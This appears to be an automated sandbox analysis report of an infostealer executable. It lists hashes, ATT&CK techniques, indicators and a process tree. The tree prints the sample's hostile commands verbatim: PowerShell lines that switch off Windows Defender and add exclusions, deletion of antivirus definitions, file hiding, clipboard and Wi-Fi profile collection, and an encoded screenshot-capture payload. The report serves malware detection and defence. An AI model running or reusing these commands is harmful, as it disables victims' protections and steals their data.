9247039186ec01688d19be3ade8e18fa086301145b7c00cc24465147764c63b8

Analysis

max time kernel
133s
max time network
137s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
18/10/2024, 04:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

CBLines.exe
Size

6.8MB
MD5

70712fd782102184f1a6afea1c51a2cf
SHA1

b2fd8b126ab9cc8174dda5e7c570a08a6dc5e61c
SHA256

9247039186ec01688d19be3ade8e18fa086301145b7c00cc24465147764c63b8
SHA512

3a6555110a2424bcd52ffc80818418136349c69a0b54cd0fd0d84096cbf31e77ac446498a9bc7e966aecf2cec167fe0dc4e129217dde13a79a62881de8dbc1dc
SSDEEP

98304:spkwN+MdA5wqMx+U8MMhJMjarJaon7JPzf+JiUCS3swhzqgez7DoDZDJ1n6hBnLA:spV1wB6ylnlPzf+JiJCsmFMvcn6hVvk

Score

10^/10

collection credential_access defense_evasion discovery evasion execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4960	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3460	powershell.exe
1536	powershell.exe
524	powershell.exe
4736	powershell.exe
4340	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	CBLines.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1344	cmd.exe
2380	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4304	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe
4188	CBLines.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
1908	tasklist.exe
780	tasklist.exe
924	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2460	cmd.exe

UPX packed file 60 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000001ac38-21.dat	upx
behavioral1/memory/4188-25-0x00007FF8926E0000-0x00007FF892CCA000-memory.dmp	upx
behavioral1/files/0x000700000001ac2b-27.dat	upx
behavioral1/memory/4188-30-0x00007FF8A60E0000-0x00007FF8A6103000-memory.dmp	upx
behavioral1/files/0x000700000001ac36-29.dat	upx
behavioral1/memory/4188-32-0x00007FF8A6D80000-0x00007FF8A6D8F000-memory.dmp	upx
behavioral1/files/0x000700000001ac35-34.dat	upx
behavioral1/files/0x000700000001ac37-35.dat	upx
behavioral1/files/0x000700000001ac3b-38.dat	upx
behavioral1/files/0x000700000001ac3c-39.dat	upx
behavioral1/files/0x000700000001ac3d-40.dat	upx
behavioral1/files/0x000800000001ac2a-41.dat	upx
behavioral1/files/0x000700000001ac2c-42.dat	upx
behavioral1/files/0x000700000001ac2d-43.dat	upx
behavioral1/files/0x000700000001ac2e-44.dat	upx
behavioral1/files/0x000700000001ac2f-45.dat	upx
behavioral1/files/0x000700000001ac30-46.dat	upx
behavioral1/files/0x000700000001ac31-47.dat	upx
behavioral1/files/0x000700000001ac32-48.dat	upx
behavioral1/memory/4188-54-0x00007FF8A60B0000-0x00007FF8A60DD000-memory.dmp	upx
behavioral1/memory/4188-56-0x00007FF8A63A0000-0x00007FF8A63B9000-memory.dmp	upx
behavioral1/memory/4188-58-0x00007FF8A6080000-0x00007FF8A60A3000-memory.dmp	upx
behavioral1/memory/4188-60-0x00007FF8A3470000-0x00007FF8A35DF000-memory.dmp	upx
behavioral1/memory/4188-62-0x00007FF8A6060000-0x00007FF8A6079000-memory.dmp	upx
behavioral1/memory/4188-64-0x00007FF8A6050000-0x00007FF8A605D000-memory.dmp	upx
behavioral1/memory/4188-66-0x00007FF8A6020000-0x00007FF8A604E000-memory.dmp	upx
behavioral1/memory/4188-71-0x00007FF8A3250000-0x00007FF8A3308000-memory.dmp	upx
behavioral1/memory/4188-70-0x00007FF8926E0000-0x00007FF892CCA000-memory.dmp	upx
behavioral1/memory/4188-74-0x00007FF8A60E0000-0x00007FF8A6103000-memory.dmp	upx
behavioral1/memory/4188-73-0x00007FF892360000-0x00007FF8926D5000-memory.dmp	upx
behavioral1/memory/4188-76-0x00007FF8A6000000-0x00007FF8A6014000-memory.dmp	upx
behavioral1/memory/4188-79-0x00007FF8A5FF0000-0x00007FF8A5FFD000-memory.dmp	upx
behavioral1/memory/4188-78-0x00007FF8A60B0000-0x00007FF8A60DD000-memory.dmp	upx
behavioral1/memory/4188-83-0x00007FF8A3130000-0x00007FF8A324C000-memory.dmp	upx
behavioral1/memory/4188-158-0x00007FF8A6080000-0x00007FF8A60A3000-memory.dmp	upx
behavioral1/memory/4188-321-0x00007FF8A3470000-0x00007FF8A35DF000-memory.dmp	upx
behavioral1/memory/4188-413-0x00007FF8A6060000-0x00007FF8A6079000-memory.dmp	upx
behavioral1/memory/4188-468-0x00007FF8A6020000-0x00007FF8A604E000-memory.dmp	upx
behavioral1/memory/4188-477-0x00007FF8A3250000-0x00007FF8A3308000-memory.dmp	upx
behavioral1/memory/4188-480-0x00007FF892360000-0x00007FF8926D5000-memory.dmp	upx
behavioral1/memory/4188-535-0x00007FF8A3470000-0x00007FF8A35DF000-memory.dmp	upx
behavioral1/memory/4188-543-0x00007FF8A3130000-0x00007FF8A324C000-memory.dmp	upx
behavioral1/memory/4188-529-0x00007FF8926E0000-0x00007FF892CCA000-memory.dmp	upx
behavioral1/memory/4188-530-0x00007FF8A60E0000-0x00007FF8A6103000-memory.dmp	upx
behavioral1/memory/4188-544-0x00007FF8926E0000-0x00007FF892CCA000-memory.dmp	upx
behavioral1/memory/4188-587-0x00007FF8A5FF0000-0x00007FF8A5FFD000-memory.dmp	upx
behavioral1/memory/4188-586-0x00007FF8A6000000-0x00007FF8A6014000-memory.dmp	upx
behavioral1/memory/4188-574-0x00007FF8926E0000-0x00007FF892CCA000-memory.dmp	upx
behavioral1/memory/4188-599-0x00007FF8A3250000-0x00007FF8A3308000-memory.dmp	upx
behavioral1/memory/4188-598-0x00007FF8A6020000-0x00007FF8A604E000-memory.dmp	upx
behavioral1/memory/4188-600-0x00007FF8A3130000-0x00007FF8A324C000-memory.dmp	upx
behavioral1/memory/4188-597-0x00007FF8A6050000-0x00007FF8A605D000-memory.dmp	upx
behavioral1/memory/4188-596-0x00007FF8A6060000-0x00007FF8A6079000-memory.dmp	upx
behavioral1/memory/4188-595-0x00007FF8A3470000-0x00007FF8A35DF000-memory.dmp	upx
behavioral1/memory/4188-594-0x00007FF8A6080000-0x00007FF8A60A3000-memory.dmp	upx
behavioral1/memory/4188-593-0x00007FF8A63A0000-0x00007FF8A63B9000-memory.dmp	upx
behavioral1/memory/4188-592-0x00007FF8A60B0000-0x00007FF8A60DD000-memory.dmp	upx
behavioral1/memory/4188-591-0x00007FF8A6D80000-0x00007FF8A6D8F000-memory.dmp	upx
behavioral1/memory/4188-590-0x00007FF8A60E0000-0x00007FF8A6103000-memory.dmp	upx
behavioral1/memory/4188-589-0x00007FF892360000-0x00007FF8926D5000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
436	cmd.exe
4748	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1440	cmd.exe
2252	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1040	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3088	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4748	PING.EXE

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
1536	powershell.exe
1536	powershell.exe
2380	powershell.exe
2380	powershell.exe
1536	powershell.exe
3460	powershell.exe
3460	powershell.exe
2380	powershell.exe
524	powershell.exe
524	powershell.exe
3460	powershell.exe
1536	powershell.exe
524	powershell.exe
2380	powershell.exe
524	powershell.exe
3460	powershell.exe
3312	powershell.exe
3312	powershell.exe
3312	powershell.exe
3312	powershell.exe
4736	powershell.exe
4736	powershell.exe
4736	powershell.exe
1404	powershell.exe
1404	powershell.exe
1404	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
2820	powershell.exe
2820	powershell.exe
2820	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4124	WMIC.exe
Token: SeSecurityPrivilege	4124	WMIC.exe
Token: SeTakeOwnershipPrivilege	4124	WMIC.exe
Token: SeLoadDriverPrivilege	4124	WMIC.exe
Token: SeSystemProfilePrivilege	4124	WMIC.exe
Token: SeSystemtimePrivilege	4124	WMIC.exe
Token: SeProfSingleProcessPrivilege	4124	WMIC.exe
Token: SeIncBasePriorityPrivilege	4124	WMIC.exe
Token: SeCreatePagefilePrivilege	4124	WMIC.exe
Token: SeBackupPrivilege	4124	WMIC.exe
Token: SeRestorePrivilege	4124	WMIC.exe
Token: SeShutdownPrivilege	4124	WMIC.exe
Token: SeDebugPrivilege	4124	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4124	WMIC.exe
Token: SeRemoteShutdownPrivilege	4124	WMIC.exe
Token: SeUndockPrivilege	4124	WMIC.exe
Token: SeManageVolumePrivilege	4124	WMIC.exe
Token: 33	4124	WMIC.exe
Token: 34	4124	WMIC.exe
Token: 35	4124	WMIC.exe
Token: 36	4124	WMIC.exe
Token: SeDebugPrivilege	780	tasklist.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeIncreaseQuotaPrivilege	4124	WMIC.exe
Token: SeSecurityPrivilege	4124	WMIC.exe
Token: SeTakeOwnershipPrivilege	4124	WMIC.exe
Token: SeLoadDriverPrivilege	4124	WMIC.exe
Token: SeSystemProfilePrivilege	4124	WMIC.exe
Token: SeSystemtimePrivilege	4124	WMIC.exe
Token: SeProfSingleProcessPrivilege	4124	WMIC.exe
Token: SeIncBasePriorityPrivilege	4124	WMIC.exe
Token: SeCreatePagefilePrivilege	4124	WMIC.exe
Token: SeBackupPrivilege	4124	WMIC.exe
Token: SeRestorePrivilege	4124	WMIC.exe
Token: SeShutdownPrivilege	4124	WMIC.exe
Token: SeDebugPrivilege	4124	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4124	WMIC.exe
Token: SeRemoteShutdownPrivilege	4124	WMIC.exe
Token: SeUndockPrivilege	4124	WMIC.exe
Token: SeManageVolumePrivilege	4124	WMIC.exe
Token: 33	4124	WMIC.exe
Token: 34	4124	WMIC.exe
Token: 35	4124	WMIC.exe
Token: 36	4124	WMIC.exe
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	524	powershell.exe
Token: SeDebugPrivilege	924	tasklist.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeIncreaseQuotaPrivilege	1536	powershell.exe
Token: SeSecurityPrivilege	1536	powershell.exe
Token: SeTakeOwnershipPrivilege	1536	powershell.exe
Token: SeLoadDriverPrivilege	1536	powershell.exe
Token: SeSystemProfilePrivilege	1536	powershell.exe
Token: SeSystemtimePrivilege	1536	powershell.exe
Token: SeProfSingleProcessPrivilege	1536	powershell.exe
Token: SeIncBasePriorityPrivilege	1536	powershell.exe
Token: SeCreatePagefilePrivilege	1536	powershell.exe
Token: SeBackupPrivilege	1536	powershell.exe
Token: SeRestorePrivilege	1536	powershell.exe
Token: SeShutdownPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeSystemEnvironmentPrivilege	1536	powershell.exe
Token: SeRemoteShutdownPrivilege	1536	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1396 wrote to memory of 4188	1396	CBLines.exe	74
PID 1396 wrote to memory of 4188	1396	CBLines.exe	74
PID 4188 wrote to memory of 1932	4188	CBLines.exe	75
PID 4188 wrote to memory of 1932	4188	CBLines.exe	75
PID 4188 wrote to memory of 1404	4188	CBLines.exe	76
PID 4188 wrote to memory of 1404	4188	CBLines.exe	76
PID 4188 wrote to memory of 2460	4188	CBLines.exe	77
PID 4188 wrote to memory of 2460	4188	CBLines.exe	77
PID 4188 wrote to memory of 4152	4188	CBLines.exe	81
PID 4188 wrote to memory of 4152	4188	CBLines.exe	81
PID 4188 wrote to memory of 4768	4188	CBLines.exe	83
PID 4188 wrote to memory of 4768	4188	CBLines.exe	83
PID 4188 wrote to memory of 4116	4188	CBLines.exe	85
PID 4188 wrote to memory of 4116	4188	CBLines.exe	85
PID 4188 wrote to memory of 1344	4188	CBLines.exe	86
PID 4188 wrote to memory of 1344	4188	CBLines.exe	86
PID 4768 wrote to memory of 780	4768	cmd.exe	89
PID 4768 wrote to memory of 780	4768	cmd.exe	89
PID 4116 wrote to memory of 4124	4116	cmd.exe	90
PID 4116 wrote to memory of 4124	4116	cmd.exe	90
PID 1932 wrote to memory of 1536	1932	cmd.exe	91
PID 1932 wrote to memory of 1536	1932	cmd.exe	91
PID 2460 wrote to memory of 1456	2460	cmd.exe	92
PID 2460 wrote to memory of 1456	2460	cmd.exe	92
PID 1344 wrote to memory of 2380	1344	cmd.exe	93
PID 1344 wrote to memory of 2380	1344	cmd.exe	93
PID 4152 wrote to memory of 3460	4152	cmd.exe	94
PID 4152 wrote to memory of 3460	4152	cmd.exe	94
PID 1404 wrote to memory of 524	1404	cmd.exe	95
PID 1404 wrote to memory of 524	1404	cmd.exe	95
PID 4188 wrote to memory of 3700	4188	CBLines.exe	96
PID 4188 wrote to memory of 3700	4188	CBLines.exe	96
PID 4188 wrote to memory of 3652	4188	CBLines.exe	97
PID 4188 wrote to memory of 3652	4188	CBLines.exe	97
PID 4188 wrote to memory of 1440	4188	CBLines.exe	98
PID 4188 wrote to memory of 1440	4188	CBLines.exe	98
PID 4188 wrote to memory of 1844	4188	CBLines.exe	101
PID 4188 wrote to memory of 1844	4188	CBLines.exe	101
PID 1440 wrote to memory of 2252	1440	cmd.exe	105
PID 1440 wrote to memory of 2252	1440	cmd.exe	105
PID 1844 wrote to memory of 3088	1844	cmd.exe	106
PID 1844 wrote to memory of 3088	1844	cmd.exe	106
PID 3700 wrote to memory of 924	3700	cmd.exe	107
PID 3700 wrote to memory of 924	3700	cmd.exe	107
PID 3652 wrote to memory of 3888	3652	cmd.exe	108
PID 3652 wrote to memory of 3888	3652	cmd.exe	108
PID 4188 wrote to memory of 4424	4188	CBLines.exe	109
PID 4188 wrote to memory of 4424	4188	CBLines.exe	109
PID 4188 wrote to memory of 3728	4188	CBLines.exe	110
PID 4188 wrote to memory of 3728	4188	CBLines.exe	110
PID 4188 wrote to memory of 828	4188	CBLines.exe	113
PID 4188 wrote to memory of 828	4188	CBLines.exe	113
PID 4424 wrote to memory of 3312	4424	cmd.exe	115
PID 4424 wrote to memory of 3312	4424	cmd.exe	115
PID 3728 wrote to memory of 1460	3728	cmd.exe	116
PID 3728 wrote to memory of 1460	3728	cmd.exe	116
PID 828 wrote to memory of 4848	828	cmd.exe	117
PID 828 wrote to memory of 4848	828	cmd.exe	117
PID 4188 wrote to memory of 4644	4188	CBLines.exe	118
PID 4188 wrote to memory of 4644	4188	CBLines.exe	118
PID 4188 wrote to memory of 1172	4188	CBLines.exe	120
PID 4188 wrote to memory of 1172	4188	CBLines.exe	120
PID 4644 wrote to memory of 2748	4644	cmd.exe	122
PID 4644 wrote to memory of 2748	4644	cmd.exe	122

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1456	attrib.exe
2748	attrib.exe
2224	attrib.exe

C:\Users\Admin\AppData\Local\Temp\CBLines.exe
"C:\Users\Admin\AppData\Local\Temp\CBLines.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1396
- C:\Users\Admin\AppData\Local\Temp\CBLines.exe
  "C:\Users\Admin\AppData\Local\Temp\CBLines.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\CBLines.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\CBLines.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:524
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\CBLines.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2460
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\CBLines.exe"
      4⤵
      Views/modifies file attributes
      PID:1456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ ‎.scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ ‎.scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4768
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4116
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:1344
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3700
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3652
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1440
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1844
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoA